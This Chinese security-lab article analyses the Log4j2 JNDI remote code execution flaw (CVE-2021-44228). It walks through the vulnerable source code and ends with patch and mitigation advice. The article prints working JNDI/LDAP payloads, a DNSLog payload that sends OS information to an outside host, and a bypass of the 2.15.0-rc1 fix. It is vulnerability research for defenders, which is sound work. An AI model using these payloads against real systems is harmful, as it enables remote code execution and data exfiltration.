作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/4MP0WVDOT5YhpOJ5KkGxYw

0x01前言

最近IT圈被爆出的log4j2漏洞鬧的沸沸揚揚,log4j2作為一個優秀的java程序日志監控組件,被應用在了各種各樣的衍生框架中,同時也是作為目前java全生態中的基礎組件之一,這類組件一旦崩塌將造成不可估量的影響。從Apache Log4j2 漏洞影響面查詢的統計來看,影響多達60644個開源軟件,涉及相關版本軟件包更是達到了321094個。而本次漏洞的觸發方式簡單,利用成本極低,可以說是一場java生態的‘浩劫’。本文將從零到一帶你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java日志體系

要了解認識log4j2,就不得講講java的日志體系,在最早的2001年之前,java是不存在日志庫的,打印日志均通過System.outSystem.err來進行,缺點也顯而易見,列舉如下: - 大量IO操作; - 無法合理控制輸出,并且輸出內容不能保存,需要盯守; - 無法定制日志格式,不能細粒度顯示;

在2001年,軟件開發者Ceki Gulcu設計出了一套日志庫也就是log4j(注意這里沒有2)。后來log4j成為了Apache的項目,作者也加入了Apache組織。這里有一個小插曲,Apache組織建議過sun在標準庫中引入log4j,但是sun公司可能有自己的小心思,所以就拒絕了建議并在JDK1.4中推出了自己的借鑒版本JUL(Java Util Logging)。不過功能還是不如Log4j強大。使用范圍也很小。

由于出現了兩個日志庫,為了方便開發者進行選擇使用,Apache推出了日志門面JCL(Jakarta Commons Logging)。它提供了一個日志抽象層,在運行時動態的綁定日志實現組件來工作(如log4j、java.util.logging)。導入哪個就綁定哪個,不需要再修改配置。當然如果沒導入的話他自己內部有一個Simple logger的簡單實現,但是功能很弱,直接忽略。架構如下圖:

在2006年,log4j的作者Ceki Gulcu 離開了Apache組織后覺得JCL不好用,于是自己開發了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用橋接包來和日志實現組件建立關系。由于Slf4j每次使用都需要配合橋接包,作者又寫出了Logback日志標準庫作為Slf4j接口的默認實現。其實根本原因還是在于log4j此時無法滿足要求了。以下是橋接架構圖:

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新項目Log4j2并且不兼容Log4j,又是全面借鑒Slf4j+Logback。不過此次的借鑒比較成功。

Log4j2不僅僅具有Logback的所有特性,還做了分離設計,分為log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志標準庫,并且Apache也為Log4j2提供了各種橋接包

到目前為止Java日志體系被劃分為兩大陣營,分別是Apache陣營和Cekij陣營。

0x03 Log4j2源碼淺析

Log4j2是Apache的一個開源項目,通過使用Log4j2,我們可以控制日志信息輸送的目的地是控制臺、文件、GUI組件,甚至是套接口服務器、NT的事件記錄器、UNIX Syslog守護進程等;我們也可以控制每一條日志的輸出格式;通過定義每一條日志信息的級別,我們能夠更加細致地控制日志的生成過程。最令人感興趣的就是,這些可以通過一個配置文件來靈活地進行配置,而不需要修改應用的代碼。

從上面的解釋中我們可以看到Log4j2的功能十分強大,這里會簡單分析其與漏洞相關聯部分的源碼實現,來更熟悉Log4j2的漏洞產生原因。

我們使用maven來引入相關組件的2.14.0版本,在工程的pom.xml下添加如下配置,他會導入兩個jar包

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.0</version>
    </dependency>
</dependencies>

在工程目錄resources下創建log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
    <appenders>
<!--        配置Appenders輸出源為Console和輸出語句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
<!--            配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

log4j2中包含兩個關鍵組件LogManagerLoggerContextLogManager是Log4J2啟動的入口,可以初始化對應的LoggerContextLoggerContext會對配置文件進行解析等其它操作。

在不使用slf4j的情況下常見的Log4J用法是從LogManager中獲取Logger接口的一個實例,并調用該接口上的方法。運行下列代碼查看打印結果

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2Rce2 {
    private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
    public static void main(String[] args) {
        String a="${java:os}";
        logger.error(a);
    }
}

屬性占位符之Interpolator插值器

log4j2中環境變量鍵值對被封裝為了StrLookup對象。這些變量的值可以通過屬性占位符來引用,格式為:${prefix:key}。在Interpolator插值器內部以Map的方式則封裝了多個StrLookup對象,如下圖顯示:

詳細信息可以查看官方文檔。這些實現類存在于org.apache.logging.log4j.core.lookup包下。

當參數占位符${prefix:key}帶有prefix前綴時,Interpolator會從指定prefix對應的StrLookup實例中進行key查詢。當參數占位符${key}沒有prefix時,Interpolator則會從默認查找器中進行查詢。如使用${jndi:key}時,將會調用JndiLookuplookup方法 使用jndi(javax.naming)獲取value。如下圖演示。

模式布局

log4j2支持通過配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts來完成這個功能。常用之一有PatternLayout,也就是我們在配置文件中PatternLayout字段所指定的屬性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所輸出的消息,其它格式化字符所表示的意義可以查看官方文檔

PatternLayout模式布局會通過PatternProcessor模式解析器,對模式字符串進行解析,得到一個List<PatternConverter>轉換器列表和List<FormattingInfo>格式信息列表。在配置文件PatternLayout標簽的pattern屬性中我們可以看到類似%d的寫法,d代表一個轉換器名稱,log4j2會通過PluginManager收集所有類別為Converter的插件,同時分析插件類上的@ConverterKeys注解,獲取轉換器名稱,并建立名稱到插件實例的映射關系,當PatternParser識別到轉換器名稱的時候,會查找映射。相關轉換器名稱注解和加載的插件實例如下圖所示:

本次漏洞關鍵在于轉換器名稱msg對應的插件實例為MessagePatternConverter對于日志中的消息內容處理存在問題,這部分是攻擊者可控的。MessagePatternConverter會將日志中的消息內容為${prefix:key}格式的字符串進行解析轉換,讀取環境變量。此時為jndi的方式的話,就存在漏洞。

日志級別

log4j2支持種日志級別,通過日志級別我們可以將日志信息進行分類,在合適的地方輸出對應的日志。哪些信息需要輸出,哪些信息不需要輸出,只需在一個日志輸出控制文件中稍加修改即可。級別由高到低共分為6個:fatal(致命的), error, warn, info, debug, trace(堆棧)。 log4j2還定義了一個內置的標準級別intLevel,由數值表示,級別越高數值越小。 當日志級別(調用)大于等于系統設置的intLevel的時候,log4j2才會啟用日志打印。在存在配置文件的時候 ,會讀取配置文件中<root level="error">值設置intLevel。當然我們也可以通過Configurator.setLevel("當前類名", Level.INFO);來手動設置。如果沒有配置文件也沒有指定則會默認使用Error級別,也就是200,如下圖中的處理:

0x04 漏洞原理

首先先來看一下網絡上流傳最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而觸發漏洞的方法,大家都是以Logger.error()方法來進行演示,那這里我們也采用同樣的方式來講解,具體漏洞環境代碼如下所示

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

    public static void main(String[] args) {

        Logger logger = LogManager.getLogger(Log4jTEst.class);

        logger.error("${jndi:ldap://2lnhn2.ceye.io}");

    }
}

直擊漏洞本源,將斷點斷在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,該方法的第一行代碼將返回當前使用的布局,并調用 對應布局處理器的encode方法。log4j2默認缺省布局使用的是PatternLayout,如下圖所示:

繼續跟進在encode中會調用toText方法,根據注釋該方法的作用為創建指定日志事件的文本表示形式,并將其寫入指定的StringBuilder中。

接下來會調用serializer.toSerializable,并在這個方法中調用不同的Converter來處理傳入的數據,如下圖所示,

這里整理了一下調用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

這么多Converter都將一個個通過上圖中的for循環對日志事件進行處理,當調用到MessagePatternConverter時,我們跟入MessagePatternConverter.format()方法中一探究竟

在MessagePatternConverter.format()方法中對日志消息進行格式化,其中很明顯的看到有針對字符"{",這三行代碼中關鍵點在于最后一行

這里我圈了幾個重點,有助于理解Log4j2 為什么會用JndiLookup,它究竟想要做什么。此時的workingBuilder是一個StringBuilder對象,該對象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本來這段字符串的長度是82,但是卻給它改成了53,為什么呢?因為第五十三的位置就是$符號,也就是說${jndi:ldap://2lnhn2.ceye.io}這段不要了,從第53位開始append。而append的內容是什么呢?可以看到傳入的參數是config.getStrSubstitutor().replace(event, value)的執行結果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}這段字符串。replace的作用簡單來說就是想要進行一個替換,我們繼續跟進

經過一段的嵌套調用,來到Interpolator.lookup,這里會通過var.indexOf(PREFIX_SEPARATOR)判斷":"之前的字符,我們這里用的是jndi然后,就會獲取針對jndi的Strlookup對象并調用Strlookup的lookup方法,如下圖所示

那么總共有多少Strlookup的子類對象可供選擇呢,可供調用的Strlookup都存放在當前Interpolator類的strLookupMap屬性中,如下所示

然后程序的繼續執行就會來到JndiLookup的lookup方法中,并調用jndiManager.lookup方法,如下圖所示

說到這里,我們已經詳細了解了logger.error()造成RCE的原理,那么問題就來了,logger有很多方法,除了error以外還別方法可以觸發漏洞么?這里就要提到Log4j2的日志優先級問題,每個優先級對應一個數值intLevel記錄在StandardLevel這個枚舉類型中,數值越小優先級越高。如下圖所示:

當我們執行Logger.error的時候,會調用Logger.logIfEnabled方法進行一個判斷,而判斷的依據就是這個日志優先級的數值大小

跟進isEnabled方法發現,只有當前日志優先級數值小于Log4j2的200的時候,程序才會繼續往下走,如下所示

而這里日志優先級數值小于等于200的就只有"error"、"fatal",這兩個,所以logger.fatal()方法也可觸發漏洞。但是"warn"、"info"等大于200的就觸發不了了。

但是這里也說了是默認情況下,日志優先級是以error為準,Log4j2的缺省配置文件如下所示。

<?xml version="1.0" encoding="UTF-8"?>
 <Configuration status="WARN">
   <Appenders>
     <Console name="Console" target="SYSTEM_OUT">
       <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
     </Console>
   </Appenders>
   <Loggers>
     <Root level="error">
       <AppenderRef ref="Console"/>
     </Root>
   </Loggers>
 </Configuration>

所以只需要做一點簡單的修改,將<Root level="error">中的error改成一個優先級比較低的,例如"info"這樣,只要日志優先級高于或者等于info的就可以觸發漏洞,修改過后如下所示

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

關于Jndi部分的遠程類加載利用可以參考實驗室往常的文章:Java反序列化過程中 RMI JRMP 以及JNDI多種利用方式詳解JAVA JNDI注入知識詳解

0x05 敏感數據帶外

當目標服務器本身受到防護設備流量監控等原因,無法反彈shell的時候,Log4j2還可以通過修改payload,來外帶一些敏感信息到dnslog服務器上,這里簡單舉一個例子,根據Apache Log4j2官方提供的信息,獲取環境變量信息除了jndi之外還有很多的選擇可供使用,具體可查看前文給出的鏈接。根據文檔中所述,我們可以用下面的方式來記錄當前登錄的用戶名,如下所示

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
  </PatternLayout>
</File>

獲取java運行時版本,jvm版本,和操作系統版本,如下所示

<File name="Application" fileName="application.log">
  <PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
    <Pattern>%d %m%n</Pattern>
  </PatternLayout>
</File>

類似的操作還有很多,感興趣的同學可以去閱讀下官方文檔。

那么問題來了,如何將這些信息外帶出去,這個時候就還要利用我們的dnsLog了,就像在sql注入中通過dnslog外帶信息一樣,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

從表上看這個payload執行原理也不難,肯定是log4j2 遞歸解析了唄,為了嚴謹一下,就再廢話一下log4j2解析這個payload的執行流程

首先還是來到MessagePatternConverter.format方法,然后是調用StrSubstitutor.replace方法進行字符串處理,如下圖所示

只不過這次迭代處理先處理了"${java:os}",如下圖所示

如此一來,就來到了JavaLookup.lookup方法中,并根據傳入的參數來獲取指定的值

解析完成后然后log4j2才會去解析外層的${jndi:ldap://2lnhn2.ceye.io},最后請求的dnslog地址如下

如此一來,就實現了將敏感信息回顯到dnslog上,利用的就是log4j2的遞歸解析,來dnslog上查看一下回顯效果,如下所示

但是這種回顯的數據是有限制的,例如下面這種情況,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

執行完成后請求的地址如下

最后會報如下錯誤,并且無法回顯

0x06 2.15.0 rc1繞過詳解

在Apache log4j2漏洞大肆傳播的當天,log4j2官方發布的rc1補丁就傳出的被繞過的消息,于是第一時間也跟著研究究竟是怎么繞過的,分析完后發現,這個“繞過”屬實是一言難盡,下面就針對這個繞過來解釋一下為何一言難盡。

首先最重要的一點,就是需要修改配置,默認配置下是不能觸發JNDI遠程加載的,單就這個條件來說我覺得就很勉強了,但是確實更改了配置后就可以觸發漏洞,所以這究竟算不算繞過,還要看各位同學自己的看法了。

首先在這次補丁中MessagePatternConverter類進行了大改,可以看下修改前后MessagePatternConverter這個類的結構對比

修改前

修改后

可以很清楚的看到 增加了三個靜態內部類,每個內部類都繼承自MessagePatternConverter,且都實現了自己的format方法。之前執行鏈上的MessagePatternConverter.format()方法則變成了下面這樣

在rc1這個版本中Log4j2在初始化的時候創建的Converter也變了,

整理一下,可以看的更清晰一些

DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

之前的MessagePatternConverter,變成了現在的MessagePatternConverter$SimpleMessagePatternConverter,那么這個SimpleMessagePatternConverter的方法究竟是怎么實現的,如下所示

可以看到并沒有對傳入的數據進行“{}”這種形式傳入數據的處理,開發者將其轉移到了LookupMessagePatternConverter.format()方法中,如下所示

那么問題來了,如何才能讓log4j2在初始化的時候就實例化LookupMessagePatternConverter從而能讓程序在后續的執行過程中調用它的format方法呢?

其實很簡單,但這也是我說這個繞過“一言難盡”的一個點,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一個“{lookups}”,我相信一般情況下應該沒有那個開發者會這么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

這樣一來就可以觸發LookupMessagePatternConverter.format()方法了,但是單單只改配置,還是不行,因為JndiManager.lookup方法也進行了修改,增加了白名單校驗,這就意味著我們還要修改payload來繞過這么一個校驗,校驗點代碼如下所示

當判斷以ldap開頭的時候,就回去判斷請求的host,也就是請求的地址,白名單內容如下所示

可以看到白名單里要么是本機地址,要么是內網地址,fe80開頭的ipv6地址也是內網地址,看似想要繞過有些困難,因為都是內網地址,沒法請求放在公網的ldap服務,不過不用著急,繼續往下看。

使用marshalsec開啟ldap服務后,先將payload修改成下面這樣

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一來就可以繞過第一道校驗,過了這個host校驗后,還有一個校驗,在JndiManager.lookup方法中,會將請求ladp服務后 ldap返回的信息以map的形式存儲,如下所示

這里要求javaFactory為空,否則就會返回"Referenceable class is not allowed for xxxxxx"的錯誤,想要繞過這一點其實也很簡單,在JndiManager.lookup方法中有一個非常非常離譜的錯誤,就是在捕獲異常后沒有進行返回,甚至沒有進行任何操作,我看不懂,但我大為震撼。這樣導致了程序還會繼續向下執行,從而走到最后的this.context.lookup()這一步 ,如下所示

也就是說只要讓lookup方法在執行的時候拋個異常就可以了,將payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一個空格,就會導致lookup方法中一開始實例化URI對象的時候報錯,這樣不僅可以繞過第二道校驗,連第一個針對host的校驗也可以繞過,從而再次造成RCE。在rc2中,catch錯誤之后,return null,也就走不到lookup方法里了。

0x07 修復&臨時建議

在最新的修復https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器時新增了檢查jndi協議是否啟用的選項,并且默認禁用了jndi協議的使用。

修復建議:

  1. 升級Apache Log4j2所有相關應用到最新版。

  2. 升級JDK版本,建議JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有繞過Java本身對Jndi遠程加載類安全限制的風險。

臨時建議: 1. jvm中添加參數 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

  1. 新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

  2. 設置系統環境變量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

  3. 對于log4j2 < 2.10以下的版本,可以通過移除JndiLookup類的方式。

0x08 時間線

  • 2021年11月24日: 阿里云安全團隊向Apache 官方提交ApacheLog4j2遠程代碼執行漏洞(CVE-2021-44228)
  • 2021年12月8日: Apache Log4j2官方發布安全更新log4j2-2.15.0-rc1,
  • 2021年12月9日: 天融信阿爾法實驗室晚間監測到poc大量傳播并被利用攻擊
  • 2021年12月10日: 天融信阿爾法實驗室于10日凌晨發布Apache Log4j2 遠程代碼執行漏洞預警,并于當日發布Apache Log4j2 漏洞處置方案
  • 2021年12月10日: 同一天內,網絡傳出log4j2-2.15.0-rc1安全更新被繞過,天融信阿爾法實驗室第一時間進行驗證,發現繞過存在,并將處置方案內的升級方案修改為log4j2-2.15.0-rc2
  • 2021年12月15日:天融信阿爾法實驗室對該漏洞進行了深入分析并更新修復建議。

0x09 總結

log4j2這次漏洞的影響是核彈級的,堪稱web漏洞屆的永恒之藍,因為作為一個日志系統,有太多的開發者使用,也有太多的開源項目將其作為默認日志系統,所以可以見到,在未來的幾年內,Apache log4j2 很可能會接替Shiro的位置,作為護網的主要突破點。該漏洞的原理并不復雜,甚至如果認真讀了官方文檔可能就可以發現這個漏洞,因為這次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的開發者也好,還是使用log4j2進行開發的開發者也好,他們都犯了一個致命的錯誤,就是相信了用戶的輸入。永遠不要相信用戶的輸入,想必這是每一個開發人員都聽過的一句話,可惜,真正能做到的人太少了。對于開源軟件的生態安全,也需要相關企業和組織加以關注和共同建設,安全之路任重而道遠。

參考資料

  1. Apache Log4j2 漏洞影響面查詢
  2. log4j2 lookups
  3. log4j2 layouts
  4. Java反序列化過程中 RMI JRMP 以及JNDI多種利用方式詳解
  5. JAVA JNDI注入知識詳解
  6. Log4j 0day之rc1與rc2 有趣的繞過
  7. Log4j2 研究之lookup
  8. log4j2 JNDI 注入漏洞分析
  9. log4j2源碼分析
  10. 代碼審計-log4j2_rce分析
  11. Apache Log4j2 Jndi RCE高危漏洞分析與防御
  12. Java日志的心路歷程

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1789/